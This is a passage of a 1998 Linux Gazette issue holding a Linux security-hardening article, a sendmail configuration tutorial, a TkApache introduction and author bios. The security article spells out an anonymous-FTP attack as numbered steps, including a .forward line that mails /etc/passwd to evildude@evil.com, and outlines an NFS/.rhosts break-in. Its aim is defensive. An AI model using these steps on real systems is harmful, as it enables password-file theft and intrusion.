Hughes has been working hard to squelch bugs and further refine his Blackbox window-manager. He has successfully converted Blackbox so that it uses the GNU autoconf system instead of an Imakefile type of configuration; in other words it now uses a configure script to generate a custom-tailored makefile, which in some cases will make Blackbox easier to compile. The Blackbox home-page is here. _________________________________________________________________ Last modified: Wed 28 Oct 1998 _________________________________________________________________ Copyright © 1998, Larry Ayers Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Securing Your Linux Box By Peter Vertes _________________________________________________________________ With Linux becoming widespread in the work environment, the security of the individual machines must be considered. Machines running Linux can be networked easily, creating the potential risk of unauthorized users gaining access. This is particularly true if your Linux installation is straight out of the box. I will give a brief introduction to securing your Linux box and making your network environment a safer place for both your data and the people who use use it. ``You are only as strong as the weakest link in your defense,'' says the Chinese proverb, and this is certainly true in the field of computer security. If you forget to patch that newly downloaded version of lpd all your walls can come crumbling down, even with the securest system in the world. Always be cautious when installing any new software. If you are using Linux only as a desktop machine at home and you connect to the Internet via a modem, you do not have to worry so much. On the other hand, if you are running a mission-critical server wired into the Net, I would strongly advise checking out the security history of any piece of software that you wish to install (remembering that famous version of Sendmail). Several mailing lists and many web pages offer extensive help on Linux security. The information is out there, you just need to go and harvest it. If you don't have the time, patience or know-how, contact a security consultant to take a look at your system setup and discover any potential weak spots. Usually security consultant firms have their own Tiger Teams who for a fee will attempt to make the walls crumble around your computer(s). Their object is to get into your system under a certain period of time and some even refund your money if they are unsuccessful. Tiger Teams are a valuable asset to security-conscious companies. Since Tiger Teams cost quite a bit, I would suggest you break into your own machines. This exercise can save you money, and give you a better understanding of the structure and different abstract layers of Linux in the process. The starting point of our Linux security tour is the password. Many people keep their entire life on a computer and the only thing preventing others from seeing it is the eight-character string called a password. Not something one would call completely reliable. Contrary to popular belief, an uncrackable password does not exist. Given time and resources all passwords can be guessed either by social engineering or by brute force. Since password cracking can be a time- and resource-consuming art, make it hard for any cracker who has grabbed your password file. Running a password cracker on a weekly basis on your system is a good idea. This helps to find and replace passwords that are easily guessed or weak. Also, a password checking mechanism should be present to reject a weak password when first choosing a password or changing an old one. Character strings that are plain dictionary words, or are all in the same case, or do not contain numbers or special characters should not be accepted as a new password. A safe password can be constructed by taking the first letter of your favorite phrase, quote or sentence and adding special characters. For example, suppose my favorite phrase is, ``the quick brown fox jumped over the lazy dog,'' by taking the first letter of every word, I'd end up with tqbfjotld. Next, I'd add special characters and perhaps squeeze in the year resulting in a password of 9tqbf!jotld8. This is a much secure than the name of your spouse or child. Word lists containing hundreds (if not thousands) of words that could be fed to a password cracker are available on the Internet. Some contain only names, so cracking the password ``maggie'' is quite trivial while the likelihood of 9tqbf!jotld8 appearing in one of those lists is quite slim. However, even though if our proposed password is not likely to appear in a word list, more advanced cracker programs come with a feature called Incremental Cracking Mode which means that every possible permutation is tried. The user gives it the minimum and maximum number of letters in a password, upper case or lower case, inclusion of special characters and numbers, and the passwords cracker does the rest. Granted, it could take a lot of time and resources, but it is possible. Next, be aware of the services running on your system. Most distributions of Linux have HTTP, FTP, SMB, Sendmail and various other services running as default. Not everyone needs a web server running so why not get rid of it--it takes up resources and can be a potential security risk. To terminate web services, type: kill -9 To find out the process ID(s) of a certain daemon or service, type: ps aux | grep Also, comment these daemons out of your start-up scripts so that they will not restart after a reboot. Unused services can let others gain information about your system and they could also pose as a security risk. Another thing to avoid is the use of .rhosts files, as they are a favorite of crackers. The .rhosts files contain names of systems on which you have an account. When you use TELNET to log in to a system, the system checks its .rhosts file and if your machine name is found, it gives you access without the need for a password. For more information about the .rhosts file, look in your favorite Linux or System Administration manual. One of the most famous exploits involving the .rhosts file is the misconfiguration of the Network File System (NFS). First the hacker checks for any exported file systems on your machines (to check, type: showmount -e), and if any are world writable. Next he remotely mounts your file system and places an .rhosts file into a user's directory. Last, the hacker uses TELNET to log into your machine as the that user, and your system is now compromised. The moral of this story: leave the configuration of the nfsd to someone who is more experienced than you or read the documentation carefully. Another similar hack involves the misconfiguration of a popular service commonly found on the Internet; anonymous FTP. The first, and obvious method, of gaining unauthorized access via anonymous FTP is by letting the public have access to your password file. Granted all passwords are stored in encrypted form, but remember we've already shown crackers can get by this. Another way to gain access to the local password file is by exploiting the writeability of the /ftp directory. Look at these simple steps: 1. Create a fake .forward file that has the following command in it: |/bin/mail evildude@evil.com < /etc/passwd 1. Connect to the victim machine via FTP and log in as user FTP. 2. Enter any password you wish. 3. Upload the .forward file you have created in Step 1. 4. Log out and send mail to ftp@victim.machine.com. 5. Sit back as victim.machine.com e-mails you a copy of its local password file. Clearly, an easy way to get a password file. The heart of this hack lies in a simple mistake made by the system administrator; so, never make the /ftp directory writable by user anonymous. Setting up an anonymous FTP server is an art of its own, but it will help to remember these simple rules: * Only the /incoming directory should be made writable and only by root and user FTP. * Anonymous FTP users should have only executable (and read) access to the /pub and the /incoming directory. * FTP users should NOT be able to write to /ftp. If you enable write access, the above mentioned hack can (and presumably will) be made. For more information on how to correctly set up an anonymous FTP service, check out the man page for ftpaccess or the CERT advisory titled 93:10 (found at http://www.cert.org/). One last thing to remember is that the system logs are your friends. The logs are the only way to find out what is/has/will be happening on your system, so keep reading them. Also, make sure that they are not being tampered with by intruders or by fellow system administrators. As Linux finds its way into more and more corporate environments, it is a crucial step to keep users out of each other's files and patch all the holes that might be utilized by hackers. With the notion of interconnectivity, industrial espionage will also be on the rise. With simple preventative measures and user education, the workplace can be a safe place for your secrets. _________________________________________________________________ Copyright © 1998, Peter Vertes Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ Sendmail Made Easy! By Eberhard W. Lisse _________________________________________________________________ All Linux distributions come with a Mail Transfer Agent (the program that does the routing and sending of the messages. The daddy of them all is sendmail (http://www.sendmail.org/). sendmail is usually preconfigured, but if you need to set up a special situation (for example UUCP), it can become quite a nuisance. The reason for this is that at the initial writing of sendmail the configuration language was designed to parse quickly at the expense of being cryptic. I looked at a sendmail.cf in 1987 and didn't look again for 10 years. smail is easier to understand and has always had the nice feature of batching messages, running the batches through gzip and sending the jobs off via UUCP. Saved me quite a lot of money in phone bills over the years. However, a year and a half ago I found a package called BSMTP (Batched Simple Mail Transport Protocol) for taking care of the batch-gzipping stuff. BSMTP is a package which is used with UUCP. sendmail uses the SMTP Protocol if sending or reeiving mail via TCP/IP, but you can also feed mail into sendmail directly using this protocol. Now this package will take outgoing mail, put many messages in batches with SMTP commands inserted between messages, gzip the batches and hand them to UUCP for transport. On the other end the process is reversed, uucp receives, hands to an uncompressor which feeds to sendmail. This results in a compression of better then half. Using advanced features of the uucp on Linux you can achieve very high throughputs. BSMTP works with both smail and sendmail and has a macro package which makes sendmail configuration much easier. I like to tinker so I tried it. It took about a weekend to get sendmail working with BSMTP/UUCP. Once I had figured out the basics, it became much easier, I only needed about an hour to set it up for my leased line. Since you have Linux, you have all the tools required. If not, install them from your distribution. I'll assume you have a working DNS with MX entries for our system and are connected by a leased line. Install the latest sendmail and sendmail-cf RPMs in the /usr/lib/sendmail-cf directory. Consider the following few lines in a file called linux.mc located in /usr/lib/sendmail-cf/cf: divert(-1) OSTYPE(linux) FEATURE(use_cw_file) define(`confCW_FILE', `-o /etc/sendmail/sendmail.cw') FEATURE(mailertable,`hash -o /etc/sendmail/mailertable.db') FEATURE(local_procmail) define(`STATUS_FILE',`/etc/sendmail/sendmail.st') MAILER(procmail) MAILER(smtp) It's rather cryptic--or is it? Run this file through the m4 command by typing: m4 ../m4/cf.m4 linux.mc > sendmail.cf It produces a sendmail.cf of approximately 1200 lines (still unreadeable to me) which has been in production use on my system. Now let's have a look at what those lines mean. # divert(-1) This line is a directive to the macro processor which I have never bothered to understand. It has something to do with suppressing newline characters. OSTYPE(linux) Now, that's fairly easy, right? Well, what it doesn't tell you is that the local delivery program mail.local from the sendmail distribution needs to be in /bin or your mail will disappear without a trace. FEATURE(use_cw_file) define(`confCW_FILE', `-o /etc/sendmail/sendmail.cw') What on earth is a CW file? I receive a lot of mail to the address of el@lisse.na; however, the host name is linux.lisse.na. No problem, we have an appropriate MX entry pointing lisse.na to linux.lisse.na, right? Wrong. You must tell sendmail the names under which it can receive mail on the local host. For example: lisse lisse.na linux linux.lisse.na When doing this is overlooked, sendmail sends an error message which is somewhat misleading. The bouncing message has the following Subject: line: Subject: Returned mail: Local configuration error And the MX list line is what is confusing: ----- Transcript of session follows ----- 554 MX list for nws.com.na. points back to linux.lisse.na 554 el@nws.com.na... Local configuration error FEATURE(mailertable,`hash -o /etc/sendmail/mailertable.db') This line is only required if you have special delivery situations. For example, to use the BSMTP package to deliver mail for Triple A, Inc. via the UUCP neighbour bbbbb, set up an MX entry in the DNS and write something like this in the mailertable file: .aaa.com.na bsmtp:bbbbb aaa.com.na bsmtp:bbbbb A TAB character is in between the pairs, and you must run a program from the sendmail package called makemap on the file mailertable to produce the binary database file mailertable.db. For example: makemap hash < mailertable mailertable There are other database systems (for example, dbm) but let's not complicate matters. FEATURE(local_procmail) This line redefines the local mailer to be procmail. You most definitely want that. define(`STATUS_FILE',`/etc/sendmail/sendmail.st') This line defines the status file. Make sure you have created this directory as root. MAILER(procmail) procmail was written by Stefan van der Berg at my alma mater and deserves its own article. In short it is the local delivery program. Its strength lies in its message filtering capabilities. Very nice for those mailing lists. MAILER(smtp) Please note that I have left out the bsmtp entry that would be required, if you had used a BSMTP entry in the mailer table. If you had a UUCP neighbour, you'd need a mailer entry too which must come after smtp. Now, test this configruation file, copy it to the /etc directory after making a backup copy of the old one and restart sendmail. As root, I use the command: killall -HUP sendmail I did not show you how to set up sendmail for UUCP, BSMTP, anti-SPAM or virtual domains. However, now that you have mastered the basics, it will be fairly easy. _________________________________________________________________ Copyright © 1998, Eberhard W. Lisse Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ "Linux Gazette...making Linux just a little more fun!" _________________________________________________________________ TkApache By Michael Holve _________________________________________________________________ I've been using the Apache Web server for several years now, both to serve my own Website as well as commercial sites. In all this time, this small, fast server has never failed me. While I'm perfectly happy with command line tools being a UNIX freak and all, let's face it - this is a Windows mentality world. People like GUI interaction with their programs. This has been a long standing argument over the Apache Web server - the lack of a GUI. There are currently several projects on the Internet to provide such a front-end for Apache. Why write another, you ask? Out of the projects that are currently available, most lack an easy to use layout, support all of Apache's features in an open, modular way or both. It is my vision to create a tool that can run on many platforms with as little fuss on the part of the user as possible and have a great growth potential. Version 1.0 launched the afternoon of October 16th, 1998. Within the first 24 hours, it was downloaded 1,036 times and the TkApache Web page had 1,400 visitors. Not staggering numbers, but since then it's been downloaded somewhere around 150 times per day. This version was originally going to have some additional features but the other developer and I, Lance Dillon, decided to concetrate on finishing the core features and doing some quick bug testing to get it released in time for ApacheCon in San Francisco that week. That and the Emails to the nature of "where can I get it?!" streaming in at a rate of 30 or so a day... Other neat features include callouts to Netscape to view the HTML documentation (will sport context sensitive, internal and browser-independant help in future versions), a setup/install window and a tail window. The tail window is like the UNIX "tail -f" command, which allows you to watch your log files in real-time. TkApache allows you to monitor your access and error logs. So where is TkApache headed? Our next goal is version 2.0 with maintenance releases along the way to fix bugs as we discover them. There are some lofty goals for this next version, some of which can already be seen in the code for the initial version. This is the support of modules. We have envisioned an interface that can include user submitted or internally developed modules to support the vast number of Apache modules and add-ons like SSL, PHP and mod_perl, among others. Also planned is performance graphing of CPU/RAM loads, number of processes, Website visitors, etc. and virtual host support. The user interface will evolve along with it to handle the load of information that must be dealt with, formerly taking up three rather good sized configuration files. I find GUI design to be a lot of fun and a pet peeve of mine. It's got to look good and be usable or else it's just in the way. What makes it tick, and how does all this relate to Perl? TkApache is written entirely in a combination of Perl and the Tk toolkit, known as PerlTk. Originally I started with Tcl/Tk and Perl, but it was a total hack. While I loved working with the Tk toolkit, I wasn't to familiar with, or interested in Tcl. Perl was more my speed, and when I became aware of the PerlTk module, it was a perfect match for rapid prototyping. The GUI design is really fun to work on, although it can be frustrating sometimes, but it's really quite easy. The whole solution allows all of Perl's wonderful text handling to be used in dealing with all this text in the configuration files. Weighing in at over 8,000 lines of code - TkApache is very portable (there are some current items that make it less than optimal which will be addressed in a maintenance release) and should run on Macintosh or Windows, as well as any UNIX platforms without modification. We're trying to keep the module count down, only to make it easier for potential users to get up and running, although we do currently rely on Data::Dumper and some File::Copy routines (all part of 5.005+). Do stop by the TkApache Web site and see what you think. If you're familiar with Perl and/or Tk and would like to contribute to the project, you're very welcome to. Or, if you'd like, we're also happy to receive feedback on it. There's screenshots and documentation available online. Michael Holve mike@eunuchs.org TkApache Web Site: http://eunuchs.org/linux/TkApache/index.html _________________________________________________________________ Copyright © 1998, Michael Holve Published in Issue 34 of Linux Gazette, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ Linux Gazette Back Page Copyright © 1998 Specialized Systems Consultants, Inc. For information regarding copying and distribution of this material see the Copying License. _________________________________________________________________ Contents: * About This Month's Authors * Not Linux _________________________________________________________________ About This Month's Authors _________________________________________________________________ Steve Adler Steve was born in Mexico City and received his education in the U. S. He has a Ph.D. in Physics from the State University of NY. His first job was working with a medical imaging group at the University of Texas medical school, writing software in the development effort to build a positron emission tomography camera. Since 1995 he has been a staff scientist for the physics department at Brookhaven National Laboratory. He is currently moving out of high energy physics into nuclear physics by joining the PHENIX experiment at the Relativistic Heavy Ion Collider, where he'll be working on the data acquisition system. Besides physics and computing, he engages in roller blading, cycling, camping and travel. Paul Anderson Paul is a computer hobbyist primarily, working on the FreeWorld BBS software(http://www.freeworldbbs.org) for Linux in his off-time and setting up networks with some system administration for a web-hosting service. Larry Ayers Larry lives on a small farm in northern Missouri, where he is currently engaged in building a timber-frame house for his family. He operates a portable band-saw mill, does general woodworking, plays the fiddle and searches for rare prairie plants, as well as growing shiitake mushrooms. He is also struggling with configuring a Usenet news server for his local ISP. Bill Bennet Bill, the ComputerHelperGuy, lives in Selkirk, Manitoba, Canada; the "Catfish Capitol of North America" if not the world. He is on the Internet at www.chguy.net. He tells us "I have been a PC user since 1983 when I got my start as a Radio Shack manager. After five years in the trenches, I went into business for myself. Now happily divorced from reality, I live next to my Linux box and sell and support GPL distributions of all major Linux flavours. I was a beta tester for the PC version of Playmaker Football and I play `pentium-required' games on the i486. I want to help Linux become a great success in the gaming world, since that will be how Linux will take over the desktop from DOS." It is hard to believe that his five years of university was only good for fostering creative writing skills. Howard Cokl Howard is a PC Technician and ad-hoc UNIX Administrator. He has used Linux in a number of different applications including ISP, DHCP, etc. He is working on building a Beowulf style computer. He implemented this CD-ROM server and can be reached at coklh@karmanos.org. Jim Dennis Jim is the proprietor of Starshine Technical Services. His professional experience includes work in the technical support, quality assurance, and information services (MIS) departments of software companies like Quarterdeck, Symantec/ Peter Norton Group, and McAfee Associates -- as well as positions (field service rep) with smaller VAR's. He's been using Linux since version 0.99p10 and is an active participant on an ever-changing list of mailing lists and newsgroups. He's just started collaborating on the 2nd Edition for a book on Unix systems administration. Jim is an avid science fiction fan -- and was married at the World Science Fiction Convention in Anaheim. Scott Field Scott has been programming and administering mainframes and PCs for 15 years professionally. He has used C++ for about 5 years, and did COBOL prior to that. He is currently working as a C++ contractor in Sydney. Outside work he enjoys spending time with his wife and three year old daughter. He is now looking for an STL algorithm that likes renovating houses. Michael J. Hammel A Computer Science graduate of Texas Tech University, Michael J. Hammel, mjhammel@graphics-muse.org, is an software developer specializing in X/Motif living in Dallas, Texas (but calls Boulder, CO home for some reason). His background includes everything from data communications to GUI development to Interactive Cable systems, all based in Unix. He has worked for companies such as Nortel, Dell Computer, and Xi Graphics. Michael writes the monthly Graphics Muse column in the Linux Gazette, maintains the Graphics Muse Web site and theLinux Graphics mini-Howto, helps administer the Internet Ray Tracing Competition (http://irtc.org) and recently completed work on his new book "The Artist's Guide to the Gimp", published by SSC, Inc. His outside interests include running, basketball, Thai food, gardening, and dogs. Michael Holve Michael has been working with Linux for about five years now and works for Cablevision Systems in New York as a Web/Tech Administrator. In his spare time (ha!) he works on Everything Linux, a premiere Linux site on the Internet (http://eunuchs.org/linux/index.html), writes software, hacks until 3am and enjoys creating all manners of computer graphics. Manuel Arturo Izquierdo Manuel is an archaeologist graduated at the Universidad Nacional de Colombia. Currently he is working at the National Astronomical Observatory at the same university. There he has two research fields: the Archaeoastronomy and the Digital Astronomical Image Processing. He has been a Linux fan for three years using it for software development with the Tcl/Tk package and recently the GTK toolkit. The Observatory's network runs only under two platforms: Linux and Macintosh. The Observatory is very interested in promoting the use of Linux in the campus. Ron Jachim Ron is Manager of Systems for the Barbara Ann Karmanos Cancer Institute where he is responsible for the systems half of the Information Systems Group. He has fourteen years of networking experience and both a BA and an MS in Computer Science. His thesis was on fuzzy queries. He can be reached at jachimr@karmanos.org Ron Jenkins Ron has over 20 years experience in RF design, satellite systems, and UNIX/NT administration. He currently resides in Central Missouri where he will be spending the next 6 to 8 months recovering from knee surgery and looking for some telecommuting work. Ron is married and has two stepchildren. Eberhard Lisse Dr. Lisse is a Senior Medical Officer at the Swakopmund State Hospital on the Namibian coast. He is the founding Vice Chairman of the Namibian Internet Development Foundation (NAMIDEF) which has connected Namibia to the Internet in 1994 (using linux) and the country top level Domain Administrator for NA. He has been using Linux exclusively since 0.99.something. He is married to Martha and has two children, who prefer their mother's Mac LCIII to Linux (even with KDE). Mike List Mike is a father of four teenagers, musician, and recently reformed technophobe, who has been into computers since April,1996, and Linux since July, 1997. Kevin O'Malley Kevin is currently working at the University of Michigan Artificial Intelligence Laboratory as a System Research Programmer. He specializes in network programming and network security. His background includes GUI development, embedded systems development for medical products and programming visualization tools for vehicle simulations. He is currently working on the Michigan Adaptive Resource eXchange project (MARX), a dynamic computational market designed to enable adaptive allocation of resources in large-scale distributed information systems. The project is part of DARPA/ITO's Information Survivability Program. He is co-author of the paper "An API for Internet Auctions" appearing in the September 1998 issue of Dr. Dobb's Journal. Dean Staff Deanis a computer technician for Inly Systems and member of OCLUG. When not at work Dean enjoys spending time with his wife and two daughters and playing with his aquarium. Peter Vertes Peter has a degree in Computer Security from the University of Massachusetts at Amherst and currently is employed at BigFoot Partners in New York City. Dan York Dan York is a technical instructor and the training manager for a technology training company located in central New Hampshire. He has been working with the Internet and UNIX systems for 13 years. While his passion is with Linux, he has also spent the past two-and-a-half years working with Windows NT. He is both a Microsoft Certified System Engineer and Microsoft Certified Trainer and has also written a book for QUE on one of the MCSE certification exams. _________________________________________________________________ Not Linux _________________________________________________________________ [INLINE] Thanks to all our authors, not just the ones above, but also those who wrote giving us their tips and tricks and making suggestions. Thanks also to our new mirror sites. Thanks also to Ellen Dahl and Amy Kukuk for their help with News Bytes. PBS has been showing a mystery series called "Jonathan Creek" that I have been enjoying quite a bit. The show can be quite intellectually challenging as each mystery is of the "locked door" variety. No car chases, no sirens, no explosions -- just a dead body in a locked room with all the accompanying questions. Quite a lot of fun, actually. I've never been quite sure why the makers of American T.V. shows feel that their audience doesn't want or know how to use their brains. Another interesting difference between American and British entertainment is the actors. The British don't require that everyone be uniformly beautiful. It's quite refreshing to see a show where the stars look like you and your neighbors rather than high-fashion models or movie stars. Have fun! _________________________________________________________________ Marjorie L. Richardson Editor, Linux Gazette, gazette@ssc.com _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back _________________________________________________________________ Linux Gazette Issue 34, November 1998, http://www.linuxgazette.com This page written and maintained by the Editor of Linux Gazette, gazette@ssc.com